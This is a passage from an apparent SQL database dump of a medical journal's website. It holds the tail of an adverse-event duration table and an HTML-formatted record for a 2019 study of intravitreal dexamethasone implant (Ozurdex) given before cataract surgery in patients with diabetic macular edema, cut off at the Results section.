		</td>\r\n			<td style=\"width:64.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2.4%</span></p>\r\n			</td>\r\n			<td style=\"width:81.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Days</span></p>\r\n			</td>\r\n			<td style=\"width:80.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"height:15pt; text-align:center; width:178.1pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:39.65pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:64.1pt\">&nbsp;</td>\r\n			<td style=\"width:81.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Weeks</span></p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:80.2pt\">&nbsp;</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"height:15pt; text-align:center; width:178.1pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:39.65pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:64.1pt\">&nbsp;</td>\r\n			<td style=\"width:81.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Months</span></p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:80.2pt\">&nbsp;</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:178.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Muscle discomfort/pain&nbsp; </span></p>\r\n			</td>\r\n			<td style=\"width:39.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n			<td style=\"width:64.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4.9%</span></p>\r\n			</td>\r\n			<td style=\"width:81.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Days</span></p>\r\n			</td>\r\n			<td style=\"width:80.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:178.1pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:39.65pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:64.1pt\">&nbsp;</td>\r\n			<td style=\"width:81.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Weeks</span></p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:80.2pt\">&nbsp;</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:178.1pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:39.65pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:64.1pt\">&nbsp;</td>\r\n			<td style=\"width:81.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Months</span></p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:80.2pt\">&nbsp;</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:178.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Sore</span></p>\r\n			</td>\r\n			<td style=\"width:39.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3</span></p>\r\n			</td>\r\n			<td style=\"width:64.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7.3%</span></p>\r\n			</td>\r\n			<td style=\"width:81.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Days</span></p>\r\n			</td>\r\n			<td style=\"width:80.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:178.1pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:39.65pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:64.1pt\">&nbsp;</td>\r\n			<td style=\"width:81.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Weeks</span></p>\r\n			</td>\r\n			<td style=\"width:80.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:178.1pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:39.65pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:64.1pt\">&nbsp;</td>\r\n			<td style=\"width:81.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Months</span></p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:80.2pt\">&nbsp;</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:178.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Burning sensation</span></p>\r\n			</td>\r\n			<td style=\"width:39.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n			<td style=\"width:64.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2.4%</span></p>\r\n			</td>\r\n			<td style=\"width:81.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Days</span></p>\r\n			</td>\r\n			<td style=\"width:80.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:178.1pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:39.65pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:64.1pt\">&nbsp;</td>\r\n			<td style=\"width:81.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Weeks</span></p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:80.2pt\">&nbsp;</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:178.1pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:39.65pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:64.1pt\">&nbsp;</td>\r\n			<td style=\"width:81.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Months</span></p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:80.2pt\">&nbsp;</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:178.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Sensation of distension</span></p>\r\n			</td>\r\n			<td style=\"width:39.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">15</span></p>\r\n			</td>\r\n			<td style=\"width:64.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">36.6%</span></p>\r\n			</td>\r\n			<td style=\"width:81.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Days</span></p>\r\n			</td>\r\n			<td style=\"width:80.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:178.1pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:39.65pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:64.1pt\">&nbsp;</td>\r\n			<td style=\"width:81.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Weeks</span></p>\r\n			</td>\r\n			<td style=\"width:80.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:178.1pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:39.65pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:64.1pt\">&nbsp;</td>\r\n			<td style=\"width:81.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Months</span></p>\r\n			</td>\r\n			<td style=\"width:80.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:178.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Skin or joint pricking sensation</span></p>\r\n			</td>\r\n			<td style=\"width:39.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3</span></p>\r\n			</td>\r\n			<td style=\"width:64.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7.3%</span></p>\r\n			</td>\r\n			<td style=\"width:81.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Days</span></p>\r\n			</td>\r\n			<td style=\"width:80.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:178.1pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:39.65pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:64.1pt\">&nbsp;</td>\r\n			<td style=\"width:81.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Weeks</span></p>\r\n			</td>\r\n			<td style=\"width:80.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:178.1pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:39.65pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:64.1pt\">&nbsp;</td>\r\n			<td style=\"width:81.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Months</span></p>\r\n			</td>\r\n			<td style=\"width:80.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:178.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Numbness</span></p>\r\n			</td>\r\n			<td style=\"width:39.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n			<td style=\"width:64.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2.4%</span></p>\r\n			</td>\r\n			<td style=\"width:81.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Days</span></p>\r\n			</td>\r\n			<td style=\"width:80.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:178.1pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:39.65pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:64.1pt\">&nbsp;</td>\r\n			<td style=\"width:81.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Weeks</span></p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:80.2pt\">&nbsp;</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:178.1pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:39.65pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:64.1pt\">&nbsp;</td>\r\n			<td style=\"width:81.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Months</span></p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:80.2pt\">&nbsp;</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:178.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Cold sensation</span></p>\r\n			</td>\r\n			<td style=\"width:39.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n			<td style=\"width:64.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2.4%</span></p>\r\n			</td>\r\n			<td style=\"width:81.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Days</span></p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:80.2pt\">&nbsp;</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:178.1pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:39.65pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:64.1pt\">&nbsp;</td>\r\n			<td style=\"width:81.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Weeks</span></p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:80.2pt\">&nbsp;</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:178.1pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:39.65pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:64.1pt\">&nbsp;</td>\r\n			<td style=\"width:81.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Months</span></p>\r\n			</td>\r\n			<td style=\"width:80.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:178.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Heat sensation</span></p>\r\n			</td>\r\n			<td style=\"width:39.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n			<td style=\"width:64.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2.4%</span></p>\r\n			</td>\r\n			<td style=\"width:81.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Days</span></p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:80.2pt\">&nbsp;</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:178.1pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:39.65pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:64.1pt\">&nbsp;</td>\r\n			<td style=\"width:81.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Weeks</span></p>\r\n			</td>\r\n			<td style=\"width:80.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:178.1pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:39.65pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:64.1pt\">&nbsp;</td>\r\n			<td style=\"width:81.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Months</span></p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:80.2pt\">&nbsp;</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:178.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Reduced range of motion</span></p>\r\n			</td>\r\n			<td style=\"width:39.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4</span></p>\r\n			</td>\r\n			<td style=\"width:64.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">9.8%</span></p>\r\n			</td>\r\n			<td style=\"width:81.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Days</span></p>\r\n			</td>\r\n			<td style=\"width:80.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:178.1pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:39.65pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:64.1pt\">&nbsp;</td>\r\n			<td style=\"width:81.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Weeks</span></p>\r\n			</td>\r\n			<td style=\"width:80.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:178.1pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:39.65pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:64.1pt\">&nbsp;</td>\r\n			<td style=\"width:81.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Months</span></p>\r\n			</td>\r\n			<td style=\"width:80.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:178.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Stiffness</span></p>\r\n			</td>\r\n			<td style=\"width:39.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n			<td style=\"width:64.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4.9%</span></p>\r\n			</td>\r\n			<td style=\"width:81.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Days</span></p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:80.2pt\">&nbsp;</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:178.1pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:39.65pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:64.1pt\">&nbsp;</td>\r\n			<td style=\"width:81.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Weeks</span></p>\r\n			</td>\r\n			<td style=\"width:80.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:178.1pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:15pt; text-align:center; width:39.65pt\">&nbsp;</td>\r\n			<td style=\"height:15pt; text-align:center; width:64.1pt\">&nbsp;</td>\r\n			<td style=\"width:81.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Months</span></p>\r\n			</td>\r\n			<td style=\"width:80.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 4:</strong> Self-reported duration of reported AE or discomfort</span></span></p>\r\n\r\n<p style=\"text-align:center\">&nbsp;</p>\r\n</div>\r\n</div>\r\n</div>\r\n','1548140631.pdf',NULL,'1548140631.jpg','',0,1,'2019-01-22 12:33:50','2019-01-22 14:25:19',1),(33,28,'20','2019','Intravitreal Dexamethasone Implant (Ozurdex) Injection Preceding Phacoemulsification in Patients Affected by Cataract and Diabetic Macular Edema: Our Preliminary Results','Salvatore Alongi1, Raffaella Rosa1, 3, Ugo Murialdo1, Roberta Rissotto4 and Pia Allegri*1, 2','Research Article','Intravitreal-Dexamethasone-Implant-Ozurdex-Injection-Preceding-Phacoemulsification-in-Patients-Affected-by-Cataract-and-Diabetic-Macular-Edema-Our-Preliminary-Results','Intravitreal Dexamethasone Implant (Ozurdex) Injection-Preceding-Phacoemulsification-in-Patients-Affected-by-Cataract-and-Diabetic-Macular-Edema: Our-Preliminary-Results','Intravitreal-Dexamethasone-Implant-(Ozurdex)-Injection-Preceding-Phacoemulsification-in-Patients Affected by Cataract-and-Diabetic Macular Edema: Our-Preliminary-Results','Intravitreal Dexamethasone Implant (Ozurdex®) Injection Preceding Phacoemulsification in Patients Affected by Cataract and Diabetic Macular Edema: Our Preliminary Results','<h3 style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Journal of Diabetes Management and Metabolism </span></span></h3>\r\n\r\n<h4 style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Intravitreal&nbsp;Dexamethasone&nbsp;Implant (Ozurdex<sup>&reg;</sup>) Injection Preceding Phacoemulsification in Patients Affected by Cataract and Diabetic Macular Edema: Our Preliminary Results</span></span></h4>\r\n\r\n<p style=\"text-align:justify\"><span style=\"color:#000000\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Salvatore Alongi<sup>1</sup>, Raffaella Rosa<sup>1, 3</sup>, Ugo Murialdo<sup>1</sup>, Roberta Rissotto<sup>4</sup> and Pia Allegri<sup>*1, 2</sup></strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"color:#000000\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>1</sup>Rapallo Hospital, Ophthalmic Department, Genova, Italy</span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"color:#000000\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>2</sup>Rapallo Hospital, Ocular Inflammation Tertiary Referral Center, Genova, Italy</span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>3</sup>University Eye Clinic, San Martino Hospital, Genova, Italy</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>4</sup>Catholic University of the Sacred Heart, Roma, Italy</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>*Corresponding author:</strong> Pia Allegri, Rapallo Hospital, Ophthalmic Department, Via San Pietro 8, 16033 Rapallo (Genova), Italy &ndash; Phone: +39 0185 683678 &ndash; Fax: +39 0185 683728; Email: <a href=\"mailto:pallegri@asl4.liguria.it\">pallegri@asl4.liguria.it</a></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation:</strong>Alongi S, Rosa R, Murialdo U, Allegri P (2019) Intravitreal Dexamethasone Implant (Ozurdex<sup>&reg;</sup>) Injection Preceding Phacoemulsification in Patients Affected by Cataract and Diabetic Macular Edema: Our Preliminary Results. J DiabetesMetabManag: JDMM-100001.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Received Date: 04 January, 2019; Accepted Date: 17 January, 2019; Published Date:23 January, 2019</strong></span></p>\r\n','<p style=\"text-align:justify\"><span style=\"color:#000000\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1. Abstract</strong></span></span></p>\r\n\r\n<p><span style=\"color:#000000\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1.1. Purpose</strong>: To evaluate the effectiveness of an intravitreal injection of slow-release dexamethasone implant (Ozurdex<strong><sup>&reg;</sup></strong>) in patients affected by diabetic macular edema (DME) undergoing cataract surgery.</span></span></p>\r\n\r\n<p><span style=\"color:#000000\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1.2. Methods:</strong> This was a prospective one-center study on 30 eyes of 23 diabetic subjects to assess the safety and efficacy of previous intravitreal administration of Ozurdex to prevent the worsening of a pre-existing DME after phacoemulsification. Primary outcomes were the variations on (1) - best-corrected visual acuity (BCVA) and (2) - central retinal thickness (CRT). Mean follow-up period was 6 months (<u>&plusmn;</u> 9 days).</span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"color:#000000\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1.3. Results:</strong> Mean BCVA was 46.8 letters at baseline and it improved significantly 3 months after surgery (69.3 ETDRS letters &ndash; p&lt; 0.001) and resulting stable (66.7 ETDRS letters) 6 months after cataract surgery. Mean CRT was 459&mu;m at baseline and it decreased to 312 &mu;m at six months from surgery (p&lt; 0.001).Two cases of intra-ocular hypertension were the only recorded side-effect and both were successfully controlled by topical therapy.</span></span></p>\r\n\r\n<p><span style=\"color:#000000\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1.4. Conclusions:</strong> Our study shows that intravitreal Ozurdex<strong><sup>&reg;</sup></strong> injection one month approximately prior to cataract uncomplicated surgery, in patients affected by diabetic macular edema, is statistically effective and safe in order to prevent a worsening in DME and in visual acuity 6 months after phacoemulsification.</span></span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>2. Keywords</strong>: Cataract; Dexamethasone intravitreal implant; Diabetic macular edema; Ozurdex<strong><sup>&reg;</sup></strong>; Phacoemulsification;</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>3. Introduction</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Diabetic patients develop cataract earlier than normal subjects and five times more frequently compared to the non-diabetic population. Multiple underlying pathogenetic mechanisms are responsible for lens alterations, among them: increase of osmotic phenomena related to polyol pathway activation, non-enzymatic glycation of lens proteins and increase in oxidative stress [1]. Macular edema is a severe complication of long-term uncontrolled diabetes mellitus leading to irreversible central vision damage. Moreover, it is well known that diabetic patients can present a worsening of a preexisting mild diabetic macular edema (DME) after cataract surgery; it usually increases 8-12 weeks following phacoemulsification and for such reason, this surgical procedure in diabetic patients is often delayed [2-3]. Until now no standardized treatment exists to improve or stabilize the visual outcome in DME patients after cataract surgery. Several strategies have been implemented in order to reduce DME incidence and worsening following phacoemulsification surgery, such as: better glycemic control, pre- and post-operative administration of topical NSAIDs, laser treatment [4], triamcinolone acetonide [5-7] or anti-Vascular Endothelial Growth Factor (anti-VEGF) intravitreal injection [8-9], but, they are usually ineffective in long-term because of a short antiedema effectiveness, an impairment in central vision or side-effects.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4. Materials and methods</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">This was a prospective study concerning patients affected by DME and advanced cataract treated at first with an intravitreal Ozurdex<strong><sup>&reg;</sup></strong> injection followed, in a period of about 30 days (&plusmn; 10 days), by standard uneventful phacoemulsification and simultaneous hydrophilic acrylic intraocular lens (IOL) in the capsular bag implantation using a 2.2 clear cornea tunnel and a viscoelastic device (Duovisc<strong><sup>&reg;</sup></strong> Alcon).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Surgery was made by two operators working at the same Hospital (Rapallo Hospital &ndash; Genova). From April 2016 to November 2017, 30 eyes of 23 patients (14 females and 9 males whose mean age was 70 &plusmn; 3 years), met the inclusion criteria and were enrolled for the study.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Inclusion criteria were: non-proliferative diabetic retinopathy, clinically significant non-tractional DME, and visually significant cataract.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Exclusion criteria were: coexisting decompensated glaucoma despite therapy, previous intravitreal treatment with anti-VEGFs or corticosteroids in the 6 months before surgery, mature cataract which can obscure the fundus exploration, not well-controlled diabetes (glycated haemoglobin or HbA1C more than 10%) or blood pressure (&ge; 140/85 mmHg), intraocular infectious or inflammatory diseases (uveitis) and intraoperative complications (such as vitreous loss or posterior capsular tear).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">All patients underwent a comprehensive ophthalmic examination including measurement of best-corrected visual acuity (BCVA) by using a standardized ETDRS protocol, slit-lamp anterior and posterior segment examination, Goldmann tonometry, and dilated funduscopy at all follow-up visits.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Spectralis Optical Coherence Tomography (Heidelberg II Spectral Domain OCT) examination was carried out at baseline (T<sub>0</sub>) and at 3 and 6 months post-cataract surgery.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Intravitreal slow-release dexamethasone implant (Ozurdex<strong><sup>&reg;</sup></strong>) injection was performed at T<sub>0</sub> and was followed, 30 (&plusmn;10) days, by phacoemulsification. Follow-up visits were scheduled at 1and 10 days, at 2, 3 and 6 months from T<sub>0</sub> (Figure 1).</span></p>\r\n\r\n<p><span style=\"color:#000000\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5. Results</strong></span></span></p>\r\n\r\n<p><span 